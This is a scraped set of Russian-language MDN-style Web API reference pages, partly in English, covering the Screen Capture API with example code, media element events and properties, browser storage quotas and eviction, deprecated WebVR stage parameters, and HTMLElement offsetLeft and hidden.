Использование интерфейса Screen Capture API - Интерфейсы веб API

Использование интерфейса Screen Capture API
===========================================

В этой статье изучается использование программного интерфейса Screen Capture и его метода `getDisplayMedia()` (en-US) для захвата потока экрана (всего или его части), его записи или передачи через сессию WebRTC .

**Примечание:** Полезно отметить, что последние версии библиотеки WebRTC adapter.js включают реализацию метода `getDisplayMedia()` для обмена изображениями с экрана на браузерах, которые его поддерживают, но ещё не реализуют текущий стандартный интерфейс, который реализован в последних версиях Chrome, Edge, и Firefox.

Захват содержимого экрана
-------------------------

Захват содержимого экрана, как живого потока `MediaStream` запускается вызовом метода `navigator.mediaDevices.getDisplayMedia()`, и возвращает экземпляр объекта промиса , который разрешается объектом потока, текущих медиаданных с экрана.

***Запуск захвата с экрана : в стиле `async`/`await`***

```js
async function startCapture(displayMediaOptions) {
  let captureStream = null;

  try {
    captureStream =
      await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
  } catch (err) {
    console.error("Error: " + err);
  }
  return captureStream;
}
```

Можно написать этот код, используя асинхронную функцию и оператор `await` , как показано выше, или использовать тип `Promise` непосредственно, пример ниже.

***Запуска захвата с экрана: в стиле `Promise`***

```js
function startCapture(displayMediaOptions) {
  let captureStream = null;

  return navigator.mediaDevices
    .getDisplayMedia(displayMediaOptions)
    .catch((err) => {
      console.error("Error:" + err);
      return null;
    });
}
```

В любом случае user agent ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции `startCapture()` возвращают объект типа `MediaStream` , содержащий захваченное с экрана изображение (съёмку ?).

Смотрим Options and constraints, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.

***Пример окна, позволяющего пользователю выбрать поверхность дисплея для захвата***

![Screenshot of Chrome's window for picking a source surface](/ru/docs/Web/API/Screen_Capture_API/Using_Screen_Capture/chrome-screen-capture-window.png)

Затем можно использовать захваченный поток `captureStream`, везде, где принимается тип потока в качестве входных параметров. Пример examples ниже показывает несколько способов использования полученного типа потока

### Видимые или логические поверхности отображения

Для целей интерфейса Screen Capture API, **поверхность отображения** - это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединённые в одну поверхность, и монитор (или группу мониторов, объединённых в одну поверхность).

Есть два типа поверхности дисплея. **Видимая поверхность отображения** - это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.

**Логическая поверхность отображения** - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.

Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушёванный контент, либо путём получения текущего содержимого скрытой части окна, либо путём предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.

### Свойства и ограничения

Объект ограничений, передающийся в метод `getDisplayMedia()` (en-US) является объектом типа `DisplayMediaStreamConstraints` (en-US) , который используется для конфигурации получаемого объекта потока.

**Примечание:** В отличие от большинства применений ограничений в медиа-API, здесь он используется исключительно для определения конфигурации потока, а не для фильтрации доступных вариантов.

Существуют три новых ограничения, добавленные в объект типа `MediaTrackConstraints` (а так же в `MediaTrackSupportedConstraints` (en-US) и `MediaTrackSettings` (en-US)) для конфигурирования потока захвата экрана:

`cursor` (en-US)

Указывает, следует ли захватывать курсор мыши и, если да, делать это постоянно или только во время движения мыши. Возможные значения:

`always`

(всегда) Курсор мыши всегда захватывается в результирующий поток.

`motion`

(в движении) Курсор должен быть видимым при его движении, и (на усмотрение user agent ) на короткое время до и после движения. В покое курсор удаляется из потока.

`never`

(никогда) Курсор не появляется в результирующем потоке..

`logicalSurface` (en-US)

Тип `Boolean` , при истинном значении определяет, что захват должен включать область за пределами экрана, если имеется.

Ни одно из ограничений никак не применяется до тех пор, пока не будет выбран контент для захвата. Ограничения изменяют то, что вы видите в полученном потоке

К примеру, если определить ограничение `width` (en-US) для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.

**Примечание:** Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определённым контентом, ограничивая исходный список, пока не останется только один элемент.

В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.

**Примечание:** Из соображений конфиденциальности и безопасности источники совместного использования экрана не перечисляются с использованием метода `enumerateDevices()`. По той-же причине, событие `devicechange` никогда не вызывается, когда есть изменения в доступных источниках при выполнении `getDisplayMedia()`.

### Захват передаваемого аудио

Метод `getDisplayMedia()` (en-US) в основном используется для захвата видео пользовательского экрана или его части. Однако user agents может позволить захватить аудио вместе с видео контентом. Источником аудио может быть выбранное окно, вся аудио система компьютера, или пользовательский микрофон (или их комбинация) .

До запуска скрипта, который будет запрашивать возможность обмена аудио, проверьте реализацию Browser compatibility (en-US), для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.

Чтобы запросить доступ к экрану с включённым звуком, параметры ниже передаются в метод `getDisplayMedia()`:

```js
const gdmOptions = {
  video: true,
  audio: true,
};
```

Это даёт пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства `audio` и `video`:

```js
const gdmOptions = {
  video: {
    cursor: "always",
  },
  audio: {
    echoCancellation: true,
    noiseSuppression: true,
    sampleRate: 44100,
  },
};
```

В этом примере курсор всегда будет виден при захвате, и на звуковой дорожке в идеале должны быть включены функции подавления шума и эхоподавления, а также идеальная частота дискретизации звука 44,1 кГц

Захват аудио всегда необязателен, и даже когда веб-контент запрашивает поток с аудио и видео, возвращаемый `MediaStream` может по-прежнему иметь только одну видеодорожку без звука.

**Примечание:** Некоторые свойства не реализованы широко и могут не использоваться движком. К примеру, `cursor` имеет ограниченную поддержку (en-US).

Using the captured stream
-------------------------

The `promise` returned by `getDisplayMedia()` (en-US) resolves to a `MediaStream` that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when `getDisplayMedia()` was called.

### Potential risks

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

### Authorizing capture of display contents

Before streaming of captured screen contents can begin, the user agent will ask the user to confirm the sharing request, and to select the content to share.

Examples
--------

### Simple screen capture

In this example, the contents of the captured screen area are simply streamed into a `<video>` element on the same page.

#### JavaScript

There isn't all that much code needed in order to make this work, and if you're familiar with using `getUserMedia()` to capture video from a camera, you'll find `getDisplayMedia()` (en-US) to be very familiar.

##### Setup

First, some constants are set up to reference the elements on the page to which we'll need access: the `<video>` into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

The object `displayMediaOptions` contains the `MediaStreamConstraints` (en-US) to pass into `getDisplayMedia()`; here, the `cursor` (en-US) property is set to `always`, indicating that the mouse cursor should always be included in the captured media.

**Примечание:** Some properties are not widely implemented and might not be used by the engine. `cursor`, for example, has limited support (en-US).

Finally, event listeners are established to detect user clicks on the start and stop buttons.

```js
const videoElem = document.getElementById("video");
const logElem = document.getElementById("log");
const startElem = document.getElementById("start");
const stopElem = document.getElementById("stop");

// Options for getDisplayMedia()

var displayMediaOptions = {
  video: {
    cursor: "always",
  },
  audio: false,
};

// Set event listeners for the start and stop buttons
startElem.addEventListener(
  "click",
  function (evt) {
    startCapture();
  },
  false,
);

stopElem.addEventListener(
  "click",
  function (evt) {
    stopCapture();
  },
  false,
);
```

##### Logging content

To make logging of errors and other issues easy, this example overrides certain `Console` methods to output their messages to the `<pre>` block whose ID is `log`.

```js
console.log = (msg) => (logElem.innerHTML += `${msg}<br>`);
console.error = (msg) =>
  (logElem.innerHTML += `<span class="error">${msg}</span><br>`);
console.warn = (msg) =>
  (logElem.innerHTML += `<span class="warn">${msg}<span><br>`);
console.info = (msg) =>
  (logElem.innerHTML += `<span class="info">${msg}</span><br>`);
```

This allows us to use the familiar `console.log()`, `console.error()`, and so on to log information to the log box in the document.

##### Starting display capture

The `startCapture()` method, below, starts the capture of a `MediaStream` whose contents are taken from a user-selected area of the screen. `startCapture()` is called when the "Start Capture" button is clicked.

```js
async function startCapture() {
  logElem.innerHTML = "";

  try {
    videoElem.srcObject =
      await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
    dumpOptionsInfo();
  } catch (err) {
    console.error("Error: " + err);
  }
}
```

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, `startCapture()` calls `getDisplayMedia()` (en-US), passing into it the constraints object defined by `displayMediaOptions`. Using `await`, the following line of code does not get executed until after the `promise` returned by `getDisplayMedia()` resolves. Upon resolution, the promise returns a `MediaStream`, which will stream the contents of the screen, window, or other region selected by the user.

The stream is connected to the `<video>` element by storing the returned `MediaStream` into the element's `srcObject` (en-US).

The `dumpOptionsInfo()` function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

If any of that fails, the `catch()` clause outputs an error message to the log box.

##### Stopping display capture

The `stopCapture()` method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using `MediaStream.getTracks()` (en-US), then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, `srcObject` is set to `null` to make sure it's understood by anyone interested that there's no stream connected.

```js
function stopCapture(evt) {
  let tracks = videoElem.srcObject.getTracks();

  tracks.forEach((track) => track.stop());
  videoElem.srcObject = null;
}
```

##### Dumping configuration information

For informational purposes, the `startCapture()` method shown above calls a method named `dumpOptions()`, which outputs the current track settings as well as the consrtaints that were placed upon the stream when it was created.

```js
function dumpOptionsInfo() {
  const videoTrack = videoElem.srcObject.getVideoTracks()[0];

  console.info("Track settings:");
  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
  console.info("Track constraints:");
  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
}
```

The track list is obtained by calling `getVideoTracks()` (en-US) on the capture'd screen's `MediaStream`. The settings currentoly in effect are obtained using `getSettings()` (en-US) and the established constraints are gotten with `getConstraints()` (en-US)

#### HTML

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

```html
<p>
  This example shows you the contents of the selected part of your display.
  Click the Start Capture button to begin.
</p>

<p>
  <button id="start">Start Capture</button> <button id="stop">
    Stop Capture
  </button>
</p>

<video id="video" autoplay></video>
<br />

<strong>Log:</strong>
<br />
<pre id="log"></pre>
```

The key parts of the HTML are:

1. A `<button>` labeled "Start Capture" which, when clicked, calls the `startCapture()` function to request access to, and begin capturing, screen contents.
2. A second button, "Stop Capture", which upon being clicked calls `stopCapture()` to terminate capture of screen contents.
3. A `<video>` into which the captured screen contents are streamed.
4. A `<pre>` block into which logged text is placed by the intercepted `Console`method.

#### CSS

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (`width: 98%`). `max-width` is set to `860px` to set an absolute upper limit on the video's size,

The `error`, `warn`, and `info` classes are used to style the corresponding console output types.

```css
#video {
  border: 1px solid #999;
  width: 98%;
  max-width: 860px;
}

.error {
  color: red;
}

.warn {
  color: orange;
}

.info {
  color: darkgreen;
}
```

#### Result

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the user agent's interface for selecting a screen, window, or tab to share.

Security
--------

In order to function when Feature Policy is enabled, you will need the `display-capture` permission. This can be done using the `Feature-Policy` (en-US) HTTP header or—if you're using the Screen Capture API in an `<iframe>` (en-US), the `<iframe>` element's `allow` (en-US) attribute.

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded `<iframe>` (en-US) elements that are loaded from the same origin:
```

Feature-Policy: display-capture 'self'
```

If you're performing screen capture within an `<iframe>`, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

```html
<iframe src="https://mycode.example.net/etc" allow="display-capture"> </iframe>
```

See also
--------

* Screen Capture API (en-US)
* Media Capture and Streams API (en-US)
* Taking still photos with WebRTC
* `HTMLCanvasElement.captureStream()` to obtain a `MediaStream` with the live contents of a `<canvas>`


стримится - Интерфейсы веб API

стримится
=========

Событие 'seeking' в случае, когда идёт подгрузка видео

General info
------------

Specification

HTML5 media

Interface

Event

Bubbles

No

Cancelable

No

Target

Element

Default Action

None.

Properties
----------

| Property | Type | Description |
| --- | --- | --- |
| `target` Только для чтения  | `EventTarget` | The event target (the topmost target in the DOM tree). |
| `type` Только для чтения  | `DOMString` | The type of event. |
| `bubbles` Только для чтения  | `Boolean` | Whether the event normally bubbles or not. |
| `cancelable` Только для чтения  | `Boolean` | Whether the event is cancellable or not. |

Related Events
--------------

* `playing (en-US)`
* `waiting (en-US)`
* `seeking (en-US)`
* `seeked (en-US)`
* `ended (en-US)`
* `loadedmetadata (en-US)`
* `loadeddata (en-US)`
* `canplay (en-US)`
* `canplaythrough (en-US)`
* `durationchange (en-US)`
* `timeupdate (en-US)`
* `play (en-US)`
* `pause (en-US)`
* `ratechange (en-US)`
* `volumechange (en-US)`
* `suspend (en-US)`
* `emptied (en-US)`
* `stalled (en-US)`


HTMLMediaElement: abort event - Интерфейсы веб API

HTMLMediaElement: abort event
=============================

Событие **`abort`** запускается, когда ресурс не был полностью загружен, но не в результате ошибки.

|  |  |
| --- | --- |
| Всплываемость | No |
| Отменяемость | No |
| Интерфейс | `Event` |
| Свойство обработчика событий | `onabort` (en-US) |

Примеры
-------

```js
const video = document.querySelector("video");
const videoSrc = "https://path/to/video.webm";

video.addEventListener("abort", () => {
  console.log(`Abort loading: ${videoSrc}`);
});

const source = document.createElement("source");
source.setAttribute("src", videoSrc);
source.setAttribute("type", "video/webm");

video.appendChild(source);
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-media-abort |
| HTML Standard # handler-onabort |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `HTMLAudioElement`
* `HTMLVideoElement`
* `<audio>`
* `<video>`


HTMLMediaElement.duration - Интерфейсы веб API

HTMLMediaElement.duration
=========================

**`HTMLMediaElement.duration`** свойство возвращает длину медиа в секундах или ноль, если данные по медиа недоступны.

Синтаксис
---------

```js
var myDuration = audioOrVideo.duration;
```

### Значения

`Double`. Если медиа данные доступны, но длина неизвестна, то duration будет `NaN`. Если медиа загружается в фоновом режиме и не имеет заранее определённой длины, значение равно `Inf`.

Пример
------

```js
var obj = document.createElement("video");
console.log(obj.duration); // NaN
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-media-duration-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* The interface defining it, `HTMLMediaElement`.


Browser storage limits and eviction criteria - Интерфейсы веб API

Browser storage limits and eviction criteria
============================================

Существует целый ряд веб-технологий, которые хранят данные того или иного рода на стороне клиента (то есть на локальном диске). Процесс, с помощью которого браузер решает, сколько места выделить для хранения веб-данных и что удалить, когда этот предел будет достигнут, не прост и отличается между браузерами. В этой статье описывается, как браузеры определяют, какой локальный контент следует очистить и когда, чтобы освободить необходимое локальное пространство для хранения.

**Примечание:** приведённая ниже информация должна быть достаточно точной для большинства современных браузеров, но специфика браузера вызывается там, где она известна. Opera и Chrome должны вести себя одинаково во всех случаях. Opera Mini (все ещё основанная на presto, серверная визуализация) не хранит никаких данных на клиенте.

Какие технологии используют браузерные хранилища данных?
--------------------------------------------------------

В Firefox следующие технологии используют хранилище данных браузера для хранения данных, когда это необходимо. В этом контексте мы называем их "квотными клиентами":

* IndexedDB
* asm.js кеширование
* Cache API
* Cookies

**Примечание:** В Firefox веб-хранилище скоро начнёт использовать те же инструменты управления хранилищем, что и в этом документе.

**Примечание:** в режиме приватного просмотра большинство хранилищ данных не поддерживается. Данные локального хранилища и файлы cookie все ещё хранятся, но они эфемерны — данные удаляются, когда вы закрываете последнее окно приватного просмотра.

The "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients.

In Chrome/Opera, the Quota Management API handles quota management for AppCache, IndexedDB, WebSQL, and File System API (en-US).

Different types of data storage
-------------------------------

Even in the same browser, using the same storage method, there are different classes of data storage to understand. This section discusses the different ones you might find in different browsers.

Storage comes in two types:

* Persistent: This is data that is intended to be kept around for a long time. This will only be evicted if the user chooses to (for example, in Firefox you can choose to delete all stored data or only stored data from selected origins by going to *Preferences* and using the options under *Privacy & Security > Cookies & Site Data*).
* Temporary: This is data that doesn't need to persist for a very long time. This will be evicted under a least recently used (LRU policy) when Storage limits are reached.

In Firefox, when persistent storage is used, the user is given a UI popup to alert them that this data will persist, and asks if they are happy with that. Temporary data storage does not elicit any user prompts.

Storage is temporary by default; developers can choose to use persistent storage for their sites using the `StorageManager.persist()` (en-US) method available in the Storage API (en-US).

Where is the data stored?
-------------------------

Each storage type represents a separate repository. Here's the actual mapping to directories under a user's Firefox profile (other browsers may differ slightly):

* `<profile>/storage` — the main top-level directory for storages maintained by the quota manager (see below)
* `<profile>/storage/permanent` — persistent data storage repository
* `<profile>/storage/temporary` — temporary data storage repository
* `<profile>/storage/default` — default data storage repository

**Примечание:** After introducing Storage API (en-US), the "permanent" folder can be considered obsolete; the "permanent" folder only stores IndexedDB persistent-type databases. It doesn't matter if box mode is "best-effort" or "persistent" — data is stored under <profile>/storage/default.

**Примечание:** In Firefox, you can find your profile folder by entering `about:support` in the URL bar, and pressing the *Show in...* button (e.g., *Show in Finder* on Mac OS X) next to the *Profile Folder* title.

**Примечание:** If you are looking around in your Profile at the data stored, you might see a fourth folder: `persistent`. Basically, the `persistent` folder was renamed to `permanent` a while ago to keep upgrades/migration simpler.

**Примечание:** Users shouldn't add their own directories or files under `<profile>/storage`. This will cause storage initialization to fail; for example, `open()` (en-US) will fire an error event.

Storage limits
--------------

The maximum browser storage space is dynamic — it is based on your hard drive size. The **global limit** is calculated as 50% of free disk space. In Firefox, an internal browser tool called the Quota Manager keeps track of how much disk space each origin is using up, and deletes data if necessary.

So if your hard drive is 500 GB, then the total storage for a browser is 250 GB. If this is exceeded, a process called **origin eviction** comes into play, deleting an entire origin's worth of data until the storage amount goes under the limit again. There is no trimming effect put in place to delete parts of origins — deleting one database of an origin could cause problems with inconsistency.

There's also another limit called **group limit** — this is defined as 20% of the global limit, but it has a minimum of 10 MB and a maximum of 2 GB. Each origin is part of a group (group of origins). There's one group for each eTLD+1 domain. For example:

* `mozilla.org` — group1, origin1
* `www.mozilla.org` — group1, origin2
* `joe.blogs.mozilla.org` — group1, origin3
* `firefox.com` — group2, origin4

In this group, `mozilla.org`, `www.mozilla.org`, and `joe.blogs.mozilla.org` can aggregately use a maximum of 20% of the global limit. `firefox.com` has a separate maximum of 20%.

The two limits react differently to limits being reached:

* The group limit is also called the "hard limit": it doesn't trigger origin eviction.
* The global limit is a "soft limit" since there's a chance that some space will be freed and the operation can continue.

**Примечание:** The group limit can't be more than the global limit, despite the minimum group limit mentioned above. If you had a really low memory situation where the global limit was, say, 8 MB, then the group limit would also be 8 MB.

**Примечание:** If the group limit is exceeded, or if origin eviction couldn't free enough space, the browser will throw a `QuotaExceededError`.

**Примечание:** In Chrome the soft and hard storage quota limits has changed since **M66**. More information can be found here.

LRU policy
----------

When the available disk space is filled up, the quota manager will start clearing out data based on an LRU policy — the least recently used origin will be deleted first, then the next one, until the browser is no longer over the limit.

We track the "last access time" for each origin using temporary storage. Once the global limit for temporary storage is reached (more on the limit later), we try to find all currently unused origins (i.e., ones with no tabs/apps open that are keeping open datastores). These are then sorted according to "last access time." The least recently used origins are then deleted until there's enough space to fulfill the request that triggered this origin eviction.

See also
--------

* Working with quota on mobile browsers, by Eiji Kitamura. A detailed analysis of client-side storage on mobile browsers.
* Quota Management API: Fast Facts, byEiji Kitamura. A look at the Quota Management API in Chrome/Blink (which should include Opera, too).


VRStageParameters: свойство sizeX - Интерфейсы веб API

VRStageParameters: свойство sizeX
=================================

**Устарело:** Эта возможность была удалена из веб-стандартов. Хотя некоторые браузеры по-прежнему могут поддерживать её, она находится в процессе удаления. Не используйте её ни в старых, ни в новых проектах. Страницы или веб-приложения, использующие её, могут в любой момент сломаться.

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

Доступное только для чтения свойство **`sizeX`** интерфейса `VRStageParameters` (en-US) возвращает ширину границ игровой зоны в метрах.

**Примечание:** Это свойство было частью старого WebVR API, который был заменён на WebXR Device API.

В целях безопасности границы определяются как прямоугольник на полу. Приложение не должно требовать от пользователя выходить за эти границы, однако пользователь может игнорировать границы, что будет приводит к выходу значений за границы этого прямоугольника. Центр прямоугольника находится в точке с координатами (0,0,0).

### Значение

Число типа float, представляющее ширину в метрах.

Examples
--------

Смотрите примеры использования в `VRStageParameters` (en-US).

Specifications
--------------

Это свойство было частью старого WebVR API, который был заменён на WebXR Device API. Больше не планируется сделать его стандартом.

Пока все браузеры не реализуют новые WebXR API (en-US), рекомендуется использовать такие фреймворки как A-Frame, Babylon.js, Three.js или полифил для разработки приложений WebXR, которые будут работать во всех браузерах.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* WebVR API


VRStageParameters: свойство sizeY - Интерфейсы веб API

VRStageParameters: свойство sizeY
=================================

**Устарело:** Эта возможность была удалена из веб-стандартов. Хотя некоторые браузеры по-прежнему могут поддерживать её, она находится в процессе удаления. Не используйте её ни в старых, ни в новых проектах. Страницы или веб-приложения, использующие её, могут в любой момент сломаться.

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

Доступное только для чтения свойство **`sizeY`** интерфейса `VRStageParameters` (en-US) возвращает глубину границ игровой зоны в метрах.

**Примечание:** Это свойство было частью старого WebVR API, который был заменён на WebXR Device API.

В целях безопасности границы определяются как прямоугольник на полу. Приложение не должно требовать от пользователя выходить за эти границы, однако пользователь может игнорировать границы, что будет приводит к выходу значений за границы этого прямоугольника. Центр прямоугольника находится в точке с координатами (0,0,0).

### Значение

Число типа float, представляющее глубину в метрах.

Examples
--------

Смотрите примеры использования в `VRStageParameters` (en-US).

Specifications
--------------

Это свойство было частью старого WebVR API, который был заменён на WebXR Device API. Больше не планируется сделать его стандартом.

Пока все браузеры не реализуют новые WebXR API (en-US), рекомендуется использовать такие фреймворки как A-Frame, Babylon.js, Three.js или полифил для разработки приложений WebXR, которые будут работать во всех браузерах.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* WebVR API


VRStageParameters: свойство sittingToStandingTransform - Интерфейсы веб API

VRStageParameters: свойство sittingToStandingTransform
======================================================

**Устарело:** Эта возможность была удалена из веб-стандартов. Хотя некоторые браузеры по-прежнему могут поддерживать её, она находится в процессе удаления. Не используйте её ни в старых, ни в новых проектах. Страницы или веб-приложения, использующие её, могут в любой момент сломаться.

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

Доступное только для чтения свойство **`sittingToStandingTransform`** интерфейса `VRStageParameters` (en-US) содержит матрицу преобразования `VRFrameData` из горизонтального вида в вертикальный.

**Примечание:** Это свойство было частью старого WebVR API, который был заменён на WebXR Device API.

Обычно это используется для передачи в WebGL-код для преобразования отображения из горизонтального вида в вертикальный.

### Значение

Массив `Float32Array` (en-US), содержащий компоненты матрицы преобразования 4×4.

Примеры
-------

Смотрите примеры использования в `VRStageParameters` (en-US).

Спецификации
------------

Это свойство было частью старого WebVR API, который был заменён на WebXR Device API. Больше не планируется сделать его стандартом.

Пока все браузеры не реализуют новые WebXR API (en-US), рекомендуется использовать такие фреймворки как A-Frame, Babylon.js, Three.js или полифил для разработки приложений WebXR, которые будут работать во всех браузерах.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* WebVR API


HTMLElement.offsetLeft - Интерфейсы веб API

HTMLElement.offsetLeft
======================

Свойство **offsetLeft** содержит левое смещение элемента относительно offsetParent. Содержит расстояние от offsetParent до границы элемента.

For block-level elements, `offsetTop`, `offsetLeft`, `offsetWidth`, and `offsetHeight` describe the border box of an element relative to the `offsetParent`.

However, for inline-level elements (such as **span**) that can wrap from one line to the next, `offsetTop` and `offsetLeft` describe the positions of the *first* border box (use `Element.getClientRects()` (en-US) to get its width and height), while `offsetWidth` and `offsetHeight` describe the dimensions of the *bounding* border box (use `Element.getBoundingClientRect()` to get its position). Therefore, a box with the left, top, width and height of `offsetLeft`, `offsetTop`, `offsetWidth` and `offsetHeight` will not be a bounding box for a span with wrapped text.

Syntax
------
```

left = element.offsetLeft;
```

`left` is an integer representing the offset to the left in pixels *from the closest relatively positioned* parent element.

Example
-------

```js
var colorTable = document.getElementById("t1");
var tOLeft = colorTable.offsetLeft;

if (tOLeft > 5) {
  // large left offset: do something here
}
```

This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.

![](/ru/docs/Web/API/HTMLElement/offsetLeft/offsetleft.jpg)

```html
<div
 style="width: 300px; border-color:blue; border-style:solid; border-width:1;">
  <span>Short span. </span>
  <span id="longspan">Long span that wraps within this div.</span>
</div>

<div
 id="box"
 style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"></div>

<script type="text/javascript">
 var box = document.getElementById("box");
 var longspan = document.getElementById("longspan");
 box.style.left = longspan.offsetLeft + document.body.scrollLeft + "px";
 box.style.top = longspan.offsetTop + document.body.scrollTop + "px";
 box.style.width = longspan.offsetWidth + "px";
 box.style.height = longspan.offsetHeight + "px";
</script>
```

Specification
-------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetleft |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.offsetParent` (en-US), `HTMLElement.offsetTop`, `HTMLElement.offsetWidth`, `HTMLElement.offsetHeight`


HTMLElement.hidden - Интерфейсы веб API

HTMLElement.hidden
==================

HTMLElement Свойство **`hidden`** является `Boolean` типом данных , который принимает значение true , если содержимое спрятано, в противном случае значение будет false. Это свойство совершенно отличается от использования CSS-свойства `display` , чтобы контролировать отображение элемента.Свойство `hidden` применимо ко всем режимам представления и не должно использоваться для скрытия содержимого предназначенного для прямого доступа к пользователю. Соответствующие варианты использования включают:

* Содержимое, которое не является особенно важным, но может быть необходимо позже
* Содержимое, которое было раньше необходимо, но больше нет в нем необходимости
* Содержимое, которое повторно используется другими частями страницы по шаблону
* Создание заставного холста в качестве буфера рисования

Неуместные варианты использования включают:

* Скрытие панелей в диалоговом окне с вкладками
* Скрытие содержимого в одной презентации, предполагая, что оно будет видимым в других

**Примечание:** Элементы, которые не hidden не должны ссылаться на элементы которые hidden.

Синтаксис
---------
```

isHidden = HTMLElement.hidden;

HTMLElement.hidden = true | false;
```

### Значение

Если элемент спрятан, то значение `true`, в противном случае `false`;

Пример
------

Пример, где скрытый блок используется для хранения "thank you" сообщения, которое отображается после того, как пользователь соглашается с необычным запросом.

### JavaScript

```js
document.getElementById("okButton").addEventListener(
  "click",
  function () {
    document.getElementById("welcome").hidden = true;
    document.getElementById("awesome").hidden = false;
  },
  false,
);
```

Этот код устанавливает обработчика для кнопки "OK", которая скрывает панель приветствия и делает The follow-up panel панель с необычным именем "awesome" - видимой в этом месте.

### HTML

HTML-код для двух boxes показанных здесь.

#### Welcome panel

```html
<div id="welcome" class="panel">
  <h1>Welcome to Foobar.com!</h1>
  <p>By clicking "OK" you agree to be awesome every day!</p>
  <button class="button" id="okButton">OK</button>
</div>
```

Этот HTML создаёт панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.

#### The follow-up panel

После того, как пользователь нажимает OK в welcome panel, JavaScript-код меняет две панели изменяя их значения hidden. Следующая The follow-up panel представлена в этом HMTL:

```html
<div id="awesome" class="panel" hidden>
  <h1>Thanks!</h1>
  <p>
    Thank you <strong>so</strong> much for agreeing to be awesome today! Now get
    out there and do awesome things awesomely to make the world more awesome!
  </p>
</div>
```

### CSS

Стилизованное содержимое использует CSS представленное внизу.

```css
.panel {
  font:
    16px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  border: 1px solid #22d;
  padding: 12px;
  width: 500px;
  text-align: center;
}

.button {
  font:
    22px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  padding: 5px 36px;
}

h1 {
  margin-top: 0;
  font-size: 175%;
}
```

### Результат

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-hidden |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `Element.hidden`
* `display`


GlobalEventHandlers.ondragstart - Интерфейсы веб API

GlobalEventHandlers.ondragstart
===============================

`global event handler` для события `dragstart (en-US)`.

Синтаксис
---------
